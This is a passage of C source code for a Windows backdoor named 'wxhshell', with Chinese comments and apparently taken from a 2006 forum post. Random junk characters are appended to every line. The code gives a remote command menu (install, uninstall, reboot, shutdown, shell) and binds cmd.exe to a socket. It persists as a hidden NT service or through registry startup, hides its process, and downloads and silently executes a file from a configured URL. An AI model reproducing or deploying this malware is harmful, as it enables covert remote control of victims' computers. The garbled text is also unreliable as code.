  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); twtkH~`"Q  
  } FL`1yD^2  
  else { (D>y6r> r  
x*h`VS(?6  
    switch(cmd[0]) { Du^x=;  
  +[whh  
  // 帮助 c.(Ud`jc  
  case '?': { au~]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =_8 UZk.  
    break; k/G7.)C  
  } [%)@|^hw91  
  // 安装 4P|$LkI  
  case 'i': { G%a] j  
    if(Install()) X Vw-G }5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pd d|n2q  
    else E;6~R M:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uie~'K\y  
    break; [UMLx  
    } ?VB#GJ0M9  
  // 卸载 eGLO!DdxZ  
  case 'r': { U,PZMz`2j  
    if(Uninstall()) k, f)2<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <EtUnj:qK8  
    else  *p=fi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RI-A"cc6A  
    break; }2l O _i}L  
    } ;SgD 5Ln}  
  // 显示 wxhshell 所在路径 &K>cW$h=a  
  case 'p': { +UzXN$73  
    char svExeFile[MAX_PATH]; }sv!=^}BY3  
    strcpy(svExeFile,"\n\r"); Yp*,Jp1  
      strcat(svExeFile,ExeFile); || [89G  
        send(wsh,svExeFile,strlen(svExeFile),0); \yNQQ$B  
    break; P+h6!=nD7  
    } dIk' pA^d  
  // 重启 / |GT\X4o  
  case 'b': { &y7 0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8h|M!/&2  
    if(Boot(REBOOT)) 0#QKVZq2>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;hwzYXWF  
    else { Pp+~Cir  
    closesocket(wsh); T7 {<arL$  
    ExitThread(0); +{.780|  
    } )CLf;@1  
    break; .s2$al  
    } 9~c~E/4!  
  // 关机 03EV%Vc  
  case 'd': { O|I+],  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l&L,7BX  
    if(Boot(SHUTDOWN)) .k@^KY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2ev*CX6.  
    else { @4drjT  
    closesocket(wsh); Z\Z,,g+WL  
    ExitThread(0); *YtB )6j  
    } r?p[3JJ;mG  
    break; EyY],W1 Y  
    } ^gOww6$<  
  // 获取shell Z~p!C/B  
  case 's': { y<uAp  
    CmdShell(wsh); @'i+ff\  
    closesocket(wsh); ;F5"}x  
    ExitThread(0); R)oB!$k  
    break; %<} <'V0  
  } fW(/Loh  
  // 退出 *KJB>W%@uM  
  case 'x': { E9+HS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sWHyL(C@  
    CloseIt(wsh); Izn T|l^  
    break; ~~nqU pK?v  
    } JJ ?I>S N!  
  // 离开 ?^u^im  
  case 'q': { 2.-o@im0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?mx\eX{  
    closesocket(wsh); -\#lF?fzb  
    WSACleanup(); &gn-Wb?  
    exit(1); "uKFOV?j&  
    break; B+] D5K  
        } E!J=8C.:  
  } 8#X_#  
  } ,%[4j9#!_  
_c2WqQ-05  
  // 提示信息 `G!M>h@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gCuAF$o  
} ?Go!j?#a  
  } FW..mD9)}  
3[d>&xk@$  
  return; @;iXp>&&  
} 6L9, 'Bg  
&!L:"]=+  
// shell模块句柄 P4k;O?y  
int CmdShell(SOCKET sock) /_t|Dry015  
{ $*f?&U]k  
STARTUPINFO si; 0[T,O,y  
ZeroMemory(&si,sizeof(si)); iWA|8$u4gm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Kqg!,Sn|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6na^]t~ncm  
PROCESS_INFORMATION ProcessInfo; TL0[@rr4  
char cmdline[]="cmd"; WsI>n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); };,/0Fu  
  return 0; v.&>Ih/L  
} GZ3 ]N  
mchJmZ{A  
// 自身启动模式 ,LhCFw{8?~  
int StartFromService(void) $t}<85YCQ  
{ Sk}{E@  
typedef struct MS3=~*+  
{ "OmD@ EMT  
  DWORD ExitStatus; ?o*I9[Z)  
  DWORD PebBaseAddress; uO6{r v\  
  DWORD AffinityMask; @1-F^G%p8  
  DWORD BasePriority; S($Su7g%_  
  ULONG UniqueProcessId; vLT0ETHg6  
  ULONG InheritedFromUniqueProcessId; ZnW@YC#9  
}   PROCESS_BASIC_INFORMATION; W*N$'%  
IH9.F  
PROCNTQSIP NtQueryInformationProcess; lg$zGa?  
d0'HDVd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <S?#@F\"S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "=1;0uy]  
;*2>ES  
  HANDLE             hProcess; S( ^.?z  
  PROCESS_BASIC_INFORMATION pbi; x,n,Qlb  
~P .I<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r;&>iX4B  
  if(NULL == hInst ) return 0; T,%j\0  
UUc8*yU)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "IQ/LbOqm_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,%9df+5k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c;2#,m^  
2`G OJ,$  
  if (!NtQueryInformationProcess) return 0; tDg}Ys=4K>  
%McE` 155  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _)T5lEFl=  
  if(!hProcess) return 0; #OO>rm$  
S! v(+|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0Hxmm@X2  
jho**TQ P  
  CloseHandle(hProcess); Om;&_!i  
!%)F J:p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $D'- k]E[H  
if(hProcess==NULL) return 0; (QoI<j""  
ZyrI R  
HMODULE hMod; (xHf4[[u  
char procName[255]; 9H-|FNz?c  
unsigned long cbNeeded; %a+mk E  
G+UMBn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \R36w^c3  
?L&'- e@  
  CloseHandle(hProcess); a`[uNgDO  
a2'^8;U*_  
if(strstr(procName,"services")) return 1; // 以服务启动 L|P5=/d  
^. dsW0"0  
  return 0; // 注册表启动 &|3 $!S  
} uN([*'0Cg  
ZOCDA2e(j  
// 主模块 }XO K,Hw  
int StartWxhshell(LPSTR lpCmdLine) /='. 4 v  
{ FKNMtp[`  
  SOCKET wsl; J_x13EaV0  
BOOL val=TRUE; CHrFM@CM  
  int port=0; bef_rH@`  
  struct sockaddr_in door; tg]x0#@s  
26&'X+n&  
  if(wscfg.ws_autoins) Install(); l&iq5}[n&  
s7Ub@  
port=atoi(lpCmdLine); ?qCK7 $ j  
pn.wud}R  
if(port<=0) port=wscfg.ws_port; q\m2EURco  
$,+O9Et  
  WSADATA data; x8S7oO7  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -gSUjP  
])xx<5Jt4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P:30L'.=[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]QzGE8jp*  
  door.sin_family = AF_INET; a}%#*J)!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =|3fs7  
  door.sin_port = htons(port); *%{gYpn  
P"B0_EuR<T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ):i&`}SY  
closesocket(wsl); CC#;c1t  
return 1;  J5^'HU3  
} &boOtl^  
Zt.'K(]2h  
  if(listen(wsl,2) == INVALID_SOCKET) { Y. ,Kl~  
closesocket(wsl); j@YU|-\qh  
return 1; -FU}pz/  
} sCR67/  
  Wxhshell(wsl); =c/wplv*  
  WSACleanup(); }ZYv~E'  
D6>HN[D"  
return 0; S30?VG9U0f  
kS bu]AB  
} emCM\|NQg&  
ek#O3Oz  
// 以NT服务方式启动 S H!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6Yx4lWBR?  
{ .Fdgb4>BXX  
DWORD   status = 0; N[s}qmPha  
  DWORD   specificError = 0xfffffff; -$\+' \  
$0 vb^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6 J{k(H$3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zT!drq:x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W[Ls|<Q  
  serviceStatus.dwWin32ExitCode     = 0; {phNds%  
  serviceStatus.dwServiceSpecificExitCode = 0; &*+'>UEe5  
  serviceStatus.dwCheckPoint       = 0; `DV.+>O-1  
  serviceStatus.dwWaitHint       = 0; C?lcGt!H  
mV3cp rRqv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O8h%3&  
  if (hServiceStatusHandle==0) return; V5UF3'3;}  
0u;4%}pD  
status = GetLastError(); |Y?H A&  
  if (status!=NO_ERROR) zd @m~V  
{ <1uZa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rJGf .qJJ  
    serviceStatus.dwCheckPoint       = 0; FoN|i"*l  
    serviceStatus.dwWaitHint       = 0; ;lHr =e7  
    serviceStatus.dwWin32ExitCode     = status;  R}O_[  
    serviceStatus.dwServiceSpecificExitCode = specificError; $<}$DH_Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '.:z&gSqx0  
    return; `{dm;j5/y  
  } XD.)Dl8  
E*]bgD7V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a{L d  
  serviceStatus.dwCheckPoint       = 0; I}1NB3>^  
  serviceStatus.dwWaitHint       = 0; wOU_*uY@6'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ML|FQ  
} 02 c':a=7  
RZXjgddL  
// 处理NT服务事件,比如:启动、停止 \G*0"%!U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =ALTUV3/q  
{ bbE!qk;hEP  
switch(fdwControl) ?l9XAW t\  
{ D]zwl@sRX:  
case SERVICE_CONTROL_STOP: 8X[:j&@  
  serviceStatus.dwWin32ExitCode = 0; aDU<wxnSvO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |?,A]|j  
  serviceStatus.dwCheckPoint   = 0; 1q7|OWFT  
  serviceStatus.dwWaitHint     = 0; f4fvrL  
  { N sXHO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8WXQ Oo8  
  } MN\HDKN  
  return; >T^;MS  
case SERVICE_CONTROL_PAUSE: =l+yA>t|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [_k1jHr48N  
  break; pH9VTM.*  
case SERVICE_CONTROL_CONTINUE: \NPmym_ 6J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `sn^ysp  
  break; 4h|c<-`>t  
case SERVICE_CONTROL_INTERROGATE: k>;`FFQU>  
  break; HiZ*+T.B  
}; G?O1>?4C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nT7%j{e=L  
} r>>%2Z-P  
T&6l$1J  
// 标准应用程序主函数 |fK1/<sz#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Te"ioU?.  
{ $a.JSXyxL  
h9}+l  
// 获取操作系统版本 Hj^1or3R]  
OsIsNt=GetOsVer(); ]Sf]J4eQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -t!~%_WCv  
(A9Fhun  
  // 从命令行安装 0X6YdW_2X  
  if(strpbrk(lpCmdLine,"iI")) Install(); J')o|5S1N  
geru=7  
  // 下载执行文件 LBYMCY  
if(wscfg.ws_downexe) { m*&]!mM"0G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o#3ly-ht  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]_f_w 9]  
} )_HA>o_?C:  
&."iFe  
if(!OsIsNt) { 75T%g!c#  
// 如果时win9x,隐藏进程并且设置为注册表启动 (7wc*#}  
HideProc(); 5_GYrR2  
StartWxhshell(lpCmdLine); M\uiq38  
} 3l rT3a3vV  
else 11 Q1AN  
  if(StartFromService()) @0Ic3C[rH6  
  // 以服务方式启动 +}Dw3;W}m  
  StartServiceCtrlDispatcher(DispatchTable); ?WGA?J %2  
else %~4M+r6T  
  // 普通方式启动 -_=nDH  
  StartWxhshell(lpCmdLine); ,LHn90S  
.s?L^Z^  
return 0; &* M!lxDN  
}
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只看该作者 1 发表于: 2006-10-10
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